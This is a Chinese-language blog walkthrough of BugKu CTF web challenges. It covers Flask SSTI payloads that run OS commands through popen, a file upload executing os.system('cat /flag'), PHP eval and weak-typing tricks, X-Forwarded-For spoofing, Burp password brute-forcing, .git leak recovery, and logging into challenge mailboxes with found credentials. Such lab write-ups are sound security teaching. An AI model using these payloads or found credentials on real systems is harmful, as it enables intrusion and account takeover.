BugKu–WEB(1)

BugKu的平台web专区

Simple_SSTI_1

image-20220221134941852

根据题目名得知为简单服务器模板注入。

服务器端模板注入是指攻击者能够使用本机模板语法将恶意有效负载注入模板中,然后在服务器端执行该模板。

详情可以参考:SSTI( 服务器模板注入)以及常见利用方式

服务端模板注入攻击

细说服务器端模板注入(SSTI)

打开环境得知需要传入一个名为 flag 的参数,再 F12 看一下,flag在secret_key下。

flask:是由python实现的一种微web框架

SECRET_KEY:flask中的一种配置属性,flask涉及安全的东西需要用SECRET_KEY密钥进行加密。

在 url 后面增加==/?flag={{config.SECRET_KEY}}==就行,可以顺利得到 flag 。

Simple_SSTI_2

image-20220221142654101

打开环境显示如下:

image-20220221142942014

测一下模板注入是否回显:

image-20220221143125676

正常回显,说明存在模板注入漏洞,手工测试一下:

==payload:?flag={ {''.class.mro}}==

__class__是返回类型所属的对象,==''.class==这一步就是为了获取字符串的类对象

__mro__属性会输出当前对象所调用的全部类包括其父类

__subclasses__属性会输出该类下所有的子类

__base__ 返回该对象所继承的基类

__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用

ls 查看一下:

/?flag={{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}

image-20220221145043481

再查看一下 flag 位置:

?flag={{ config.__class__.__init__.__globals__['os'].popen('find / -name flag').read() }}

image-20220221145624740

cat 一下 flag:

?flag={{ config.__class__.__init__.__globals__['os'].popen('cat /app/flag').read() }}

image-20220221145821360

得到 flag。

==PS:这里介绍一个SSTl漏洞的扫描利用工具tplmap==

详情可以看 https://github.com/epinna/tplmap

Flask_FileUpload

image-20220221160604364

根据题目提示是一个文件上传

image-20220221162828840

可以看出,写一个脚本上传,就会返回脚本执行结果,但是只能上传.jpg或.png文件。

import os
os.system('cat /flag')

上传:

image-20220221163104844

image-20220221163052541

得到 flag

滑稽

image-20220221163246674

滑稽????

李大铺了属于是。打开环境:

image-20220221163940727

还真是滑稽。。。。F12 看一下:

image-20220221164028450

好家伙,get flag:

计算器

image-20220221164155006

打开环境,可以看到:

image-20220221164222043

答案不就是 91 吗?就这?

裂开了,只能输入一个数字。。。。

image-20220221164455451

F12 看到只能输入一个数字,修改一下试试:

image-20220221164544680

nice,搞到 flag 了!

GET

image-20220221170928702

打开环境:

$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';

代码审计一下,需要 get 发送一个 flag 就行了。

image-20220221171153095

提交 flag 就行了!

POST

image-20220221171435848

打开环境可知:

$what=$_POST['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';

代码审计一下,可知以 POST 方法传递一个 flag 参数就能得到 flag。

image-20220221171813348

借助 hackbar 插件提交post参数得到 flag。

矛盾

image-20220221171940478

打开环境可以看到:

$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}

题目要求以 GET 方式提交一个参数,参数不能为数字且为1,考察的是 php 弱类型,随便构造一个就行了,拼接字符串、公式等都行。

image-20220221172651257

顺利得到flag。

image-20220221172835939

打开环境:

image-20220221173506672

image-20220221173520569

无法右键,但是 F12Ctrl+U可以使用。

可以看到源代码:

<html>  
<head>  
<title>BKCTF-WEB6</title>  
<script language="javascript">   
alert("flag就在这里");  
alert("来找找吧"); 
<!-- &#102;&#108;&#97;&#103;&#123;&#48;&#99;&#52;&#101;&#97;&#49;&#54;&#99;&#102;&#57;&#49;&#52;&#101;&#50;&#98;&#99;&#54;&#56;&#48;&#51;&#55;&#52;&#54;&#102;&#97;&#50;&#100;&#56;&#102;&#100;&#57;&#101;&#125; --></script>  
</head>  
</html> 

很明显最后一段的编码与 flag 有关,使用Unicode编码转换- 站长工具将 Unicode 转 ASCII。

image-20220221174303022

当然也可以直接将编码放到一个html文件,用浏览器打开也可以。

image-20220221174636307

你必须让他停下

image-20220221174931490

打开环境,发现网页不停的在刷新:

image-20220221182032373

查看一下源码:

<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="">
<meta name="author" content="">
<title>Dummy game</title>
</head>

<script language="JavaScript">
function myrefresh(){
window.location.reload();
}
setTimeout('myrefresh()',500); 
</script>
<body>
<center><strong>I want to play Dummy game with others£¡But I can't stop!</strong></center>
<center>Stop at panda ! u will get flag</center>
<center><div><img src="12.jpg" /></div></center><br><a style="display:none">flag is here~</a></body>
</html>

打开burpsuite,拦包:

发送到重发器:

image-20220221181546106

不断的重发,观察返回:

image-20220221181739512

src =“10.jpg”时,得到 flag,有点拼运气和眼力。

这里有个小插曲,得到 flag 以后记得关掉代理。

社工-初步收集

image-20220221202638046

打开环境:

image-20220221211121568

啥情况???好在之后打开环境的时候成功了,不然我还以为环境坏掉了。

查看源代码:

<!DOCTYPE HTML>
<html>
    <head>
        <title>小bug刷钻官网 - 一件刷钻</title>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no">
         <!--关键词-->
        <meta name="keywords" content="bugku,ctf,刷钻">
        <!--描述-->
        <meta name="description" content="国内首屈一指的刷钻软件">
        <link rel="stylesheet" href="static/css/main.css">
        <noscript><link rel="stylesheet" href="https://csgodouyu.com/assets%09/css/noscript.css"></noscript>
    </head>
    <body class="is-preload">
                    <section id="banner">
                        <div class="inner">
                            <div class="logo"><span class="icon fa-gem"></span></div>
                            <h2>小bug刷钻官网</h2>
                            <p>简单易用但功能多样强大的内部辅助<a href="">.</a><br>只为带给您更好的游戏体验。</p>
                            <a href="#goumai" target="_blank" class="special">购买辅助</a>
                            <a href="#" class="special">小号购买</a>
                            <a href="http://wpa.qq.com/msgrd?v=3&uin=123456&site=qq&menu=yes" class="special">联系客服</a>
                            <a href="shiyongjiaocheng.php" class="special">使用教程</a>
                        </div>
                    </section>
                    <!--音乐代码开始-->
                    <!--音乐代码结束-->
                <!-- Wrapper -->
                    <section id="wrapper">
                        <!-- One -->
                        <!-- Three -->            
                            </section>                        
                        <!-- Four -->
                            <section id="four" class="wrapper alt style1">
                                <div class="inner">
                                    <h2 class="major" id="goumai">购买辅助/商品介绍</h2>
                                    <section class="features">
                                    <article>
                                            <a href="#" class="image"><img src="static/picture/1.jpg " alt=""></a>
                                            <h3 class="major">刷钻</h3>
                                            <p>功能列表:一键刷钻</p>
                                            <p>支持系统:Win7 / Win8 / Win10</p>
                                            <p>稳定指数:100%</p>
                                            <p>注意事项:此网站所有内容为bugku题目环境,仅用于答题。</p>
                                            <p>辅助价格:免费</p>
                                            <a href="#" class="special">购买辅助</a>
                                            <a href="/sz.zip" class="special">下载辅助</a>
                                        </article> 
                                    </section>
                                </div>
                            </section>
                    </section>
                            <ul class="contact">
                                <li class="icon solid fa-home">
                                    客服QQ:123456<br>
                                    今日已完成!上架的均稳定奔放!                             </li>                         
                            </ul>                         
                    </section>
            </div>            
        <!-- Scripts -->
            <script src="static/js/jquery.min.js"></script>
            <script src="static/js/jquery.scrollex.min.js"></script>
            <script src="static/js/browser.min.js"></script>
            <script src="static/js/breakpoints.min.js"></script>
            <script src="static/js/util.js"></script>
            <script src="static/js/main.js"></script>         
            <!--知音开始-->
            <style>
            .music {
            position: fixed!important;
            position: absolute;
            width: 90px;
            height: 95px;
            z-index: 9;
            right: 0;
            bottom: 0;
            top: expression(offsetParent.scrollTop+offsetParent.clientHeight-150);
            cursor: pointer;
            }
            </style>
            <div id="audio" class="music">
            <img src="http://ku.oioweb.cn/img/weimusic1.gif" width="100px" height="100px" id="d" onclick="c();">
            </div>
            </style>
            <!--知音结束-->
            <script src="//lib.baomitu.com/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
            <script src="https://yzf.qq.com/xv/web/static/chat_sdk/yzf_chat.min.js"></script>
    </body>
</html>

检查无果,目录扫描一下:

image-20220221212202210

image-20220221212227584

查到了敏感目录,试着输入浏览器看一下,还真有:

image-20220221212504014

可以找到一个辅助软件,下载下来看看有没有什么发现:

image-20220221213241094

打开看一下:

image-20220221213420581

炸裂,弹完窗发现没啥用,害。

没办法了,看师傅们的wp才知道需要抓包,没办法了,只能抓包了,抓到如下内容:

==PS:wireshark抓包前,选项内用Wi-Fi的时候就设置成WLAN,不是Wi-Fi就设置成本地,然后打开软件。==

image-20220221214612545

一看就是base64编码,解密一下:


image-20220221215233800
image-20220221215203904

这样就得到了账号密码:

账号:bugkuku@163.com

密码:XSLROCPMNWWZQDZL

登录一下看看有没有什么发现:

image-20220221215929390

登录失败了。。。。那试试foxmail


image-20220221220213471
image-20220221220229606

然后就是疯狂的翻找邮件,可惜一无所获。

image-20220221220521859

最终在已删除邮件里找到了账号密码,阿西吧。

image-20220221221015482

451806289----WANGJUAN765620

拿账号密码登录。。。。。感觉自己被搞了,可恶!!

image-20220221221938786

image-20220221222035260

担心漏掉了,再找一遍,垃圾邮箱里面找到了这个:

image-20220221221633521

这也没用啊,估计是哪个狗贼把删掉了,试试师傅wp里面的账号密码:

image-20220221222338948

image-20220221222411398

没啥好说的,就这样吧。。。。进入后台以后:

image-20220221222611152

网站信息>网站设置里面找到了flag!

image-20220221222712067

成功!!!

最后不忘重新发一份正确的到邮箱草稿里,避免以后的人踩坑!

image-20220221222950539

over!

game1

image-20220221225604543

打开环境,发现是一款游戏,尝试玩一下

image-20220221225704637

image-20220221225826822

差点忘记正事,先看下源码,太长了,它还没给出具体要求,不过一看这题目想通过玩游戏获取flag肯定不太显示。

F12看一下:

image-20220221230442041

也是相当的繁琐,不过看wp,有的师傅会直接找 sign,不知道是为啥,经验?

我做的时候第一反应只能抓包了,然后把分数设置高点,let's go!

随便玩一下,然后抓包:

image-20220221230742668

发送到重发器内:

image-20220221230844358

将分数设置成了99999都失败了,这不符合常理,肯定是有别的验证,重抓一次对比一下:

image-20220221231214689

image-20220221231410456

对比可知,sign值随着score一起变化,在源码内ctrl+F检索一下sign,发现:

image-20220221231649503

sign 是经历了base64编码的,将 sign 在线转码一下发现:

image-20220221232017183

一目了然,sign的形式就是:==sign="zM"+Base64(score)+"\=\="==

image-20220221232328631

成功获得 flag!nice!

网站被黑

image-20220221232534172

一看题目,猜测题目和后门有关,搜到一个后门检测工具findWebshell,突然想试试,打开环境:

image-20220221235522118

这玩意做的太tm好看了,爱了爱了,使用工具结果失败了,害。

不慌,那就按部就班做吧!

扫描一下:

image-20220222001446472

快乐就是这么简单?????自然而然

image-20220222001614876

随意试了一下password123456等弱密码,结果错误。

image-20220222001903587

使用 burpsuit 自带的 Passwords 进行爆破,得到密码:

image-20220222003430245

密码就是:==hack==

image-20220222003553791

得到 flag!

本地管理员

image-20220222011253216

打开环境,可以得到:

image-20220222011347108

查看源码:

image-20220222011452796

下面那一排很长的字符最后:

image-20220222011532499

当然,使用 F12 也可以。

image-20220222011854541

大概率是 Base64 ,在线解密一下:

image-20220222011745053

猜一下,使用test123作为密码,admin作为账号或其他:

image-20220222012204559

多次尝试无果,想到联系本地管理员这句话。。。。抓个包看看!

image-20220222012400323

伪装成本地访问???没有看到XFF,那就自己添加一个试试!

正常是这样的:

image-20220222012705975

添加XFF以后是这样的:

image-20220222013135377

得到 flag。

bp

image-20220222013808078

打开环境:

image-20220222013918996

看到题目可以猜到密码以z开头的且与top1000有关,可以想到:

  • 密码在 top1000 内,且以 z 开头。
  • 密码以 z 开头,且包括 top1000。

先找一下这个top1000,在网上到处都可以找得到,找到以后使用bp爆破一下,无果:

image-20220222015120336

以 z 开头,尝试仍然无果,猜测可能存在 flag 的返回与正常返回是一样长度的,启用筛选工具:

img

image-20220222020240411

image-20220222020443508

image-20220222020423633

查到密码就是==zxc123==

得到 flag:(直接在返回里面看也可以)

image-20220222020604753

eval

image-20220222120836486

打开环境:

<?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);
?>
  • include包含的文件和本源码在同一路径
  • $request可用与接受get和post的传递的参数
  • eval函数可以把字符串作为php命令执行
  • file() 函数把整个文件读入一个数组中。
  • ==file_get_contents(path,include_path,context,start,max_length)==
  • image-20220222121849420

代码审计一下,输入==/?hello=file('flag.php')==获取 flag。

image-20220222121345102

变量1

image-20220222121957305

打开环境:

flag In the variable ! <?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>

代码审计一下,看到 flag 在变量里面,且对于 if 里的正则表达式"/^w+$/"

  • ^表示开始字符串
  • $表示结束字符串
  • w表示包含【a-z,A-Z, _ , 0-9】
  • `+表示一个或者多个w

最后看到这里有一个var_dump($$args),这是可变变量的意思,如\$args的值是另一个变量的变量名。那么$$args就代表另一个变量。

使用全局变量进行尝试构造:==/?args\={}==

PHP 中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可用。在函数或方法中无需执行 global $variable; 就可以访问它们,这些超全局变量是:

image-20220222123302960

头等舱

image-20220222124352929

打开环境:

image-20220222124419412

查看一下源码:

<html>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<pre><br><br><br><br>什么也没有。<br><br>
</html>

还真没有,F12看一下,练习题目猜测和请求头或返回头有关:

image-20220222124706200

找到 flag。

社工-伪造

image-20220222124805685

打开环境,

image-20220222124909587

随便输入一串数字进去:

image-20220222124951284

随便聊下试试:

image-20220222125151282

好家伙,上面有一条空间:

image-20220222125258738

image-20220222125333070

发现他男朋友的 qq 名字小bug,但是随意输入的qq在聊天室内无法更改个人信息,猜想得用真实的qq登录,因为登录只需要qq号:

image-20220222134700347

然后用他的qq登录,得到flag。

image-20220222134802541

source

image-20220222140834503

打开环境:

image-20220222141920186

查看源代码:

<html>
<head>
<body>
<p>Hello,world!<p>
<p>This is my friend :<!--tig--></p>
<!--flag{Zmxhz19ub3RfaGvyzSEHIQ==}-->
</body>
</head>
</html>

??????说好的linux呢????

flag里面的大概率是base64,解码一下:

┌──(kali㉿kali)-[~]
└─$ echo Zmxhz19ub3RfaGvyzSEHIQ== | base64 --decode                                                                           
fla�_not_hk��!!  

在线解码也有乱码,这个大概率是假的,另找吧。

F12看一下,可惜没找到什么有价值的线索,那就 kali linux 扫一下吧。

image-20220222143347228

幸福就是这么突然吗?

image-20220222143456499

真狗啊,还不是。。。那估计就是 git 泄露了,使用scrabblegithack或者直接浏览器搞也可以。

git reflog
git show d256328
git show 13ce8d0
git show fdce35e
git show e0b8e8e
git show 40c6d51
git show fdce35e
git show d256328
git show e0b8e8e

最终可以找到 flag。

快速复现:

┌──(kali㉿kali)-[~/Desktop]
└─$ wget -r http://114.67.175.224:14896/.git
(省略,太多了)

┌──(kali㉿kali)-[~/Desktop]
└─$ ls                  
114.67.175.224:14896

┌──(kali㉿kali)-[~/Desktop]
└─$ cd 114.67.175.224:14896 

┌──(kali㉿kali)-[~/Desktop/114.67.175.224:14896]
└─$ git reflog          
d256328 (HEAD -> master) HEAD@{0}: reset: moving to d25632
13ce8d0 HEAD@{1}: commit: flag is here?
fdce35e HEAD@{2}: reset: moving to fdce35e
e0b8e8e HEAD@{3}: reset: moving to e0b8e
40c6d51 HEAD@{4}: commit: flag is here?
fdce35e HEAD@{5}: commit: flag is here?
d256328 (HEAD -> master) HEAD@{6}: commit: flag is here?
e0b8e8e HEAD@{7}: commit (initial): this is index.html

┌──(kali㉿kali)-[~/Desktop/114.67.175.224:14896]
└─$ git show 40c6d51
commit 40c6d51b81775a1590c1b051d9562222e41c4741
Author: vFREE <flag@flag.com>
Date:   Sun Jan 17 20:34:43 2021 +0800

    flag is here?

diff --git a/flag.txt b/flag.txt
index aa6f6dc..726e5d1 100644
--- a/flag.txt
+++ b/flag.txt
@@ -1 +1 @@
-flag{nonono}
+flag{git_is_good_distributed_version_control_system}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇